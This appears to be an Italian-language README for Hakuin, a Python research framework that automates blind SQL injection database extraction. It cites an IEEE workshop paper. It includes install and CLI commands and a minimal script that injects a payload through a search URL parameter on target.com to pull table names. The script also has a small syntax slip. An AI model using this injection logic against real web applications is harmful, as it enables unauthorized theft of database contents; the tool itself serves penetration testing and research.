
Un framework di ottimizzazione e automazione per Blind SQL Injection estremamente veloce e completamente configurabile.
Hakuin è un framework di ottimizzazione e automazione per Blind SQL Injection (BSQLI) scritto in Python 3. Astrae la logica di estrazione e consente agli utenti di scaricare facilmente ed efficientemente database da applicazioni web vulnerabili. Per accelerare il processo, Hakuin utilizza una varietà di metodi di ottimizzazione, tra cui modelli linguistici pre-addestrati e adattivi, tentativi opportunistici, modellazione statistica, parallelismo, query ternarie e altro ancora.
Hakuin è stato presentato in prestigiose conferenze accademiche e industriali:
Maggiori informazioni sono disponibili nel nostro paper e slides.
Per installare Hakuin, basta eseguire:
pip3 install hakuin
Hakuin è dotato di uno strumento intuitivo che offre la maggior parte delle funzionalità di Hakuin direttamente dalla riga di comando:
hk -h
A volte, le vulnerabilità BSQLI sono troppo complesse da sfruttare dalla riga di comando e richiedono uno scripting personalizzato. È qui che Hakuin brilla, permettendoti di personalizzare assolutamente tutto: la logica di iniezione, la logica di inferenza e persino le query.
Ecco un esempio minimo:
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
Assicurati di seguire il nostro tutorial.
Questo repository viene sviluppato attivamente per soddisfare le esigenze dei professionisti della sicurezza. I ricercatori che desiderano riprodurre gli esperimenti descritti nel nostro paper dovrebbero installare la versione congelata poiché contiene il codice originale, gli script degli esperimenti e un manuale di istruzioni per riprodurre i risultati.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}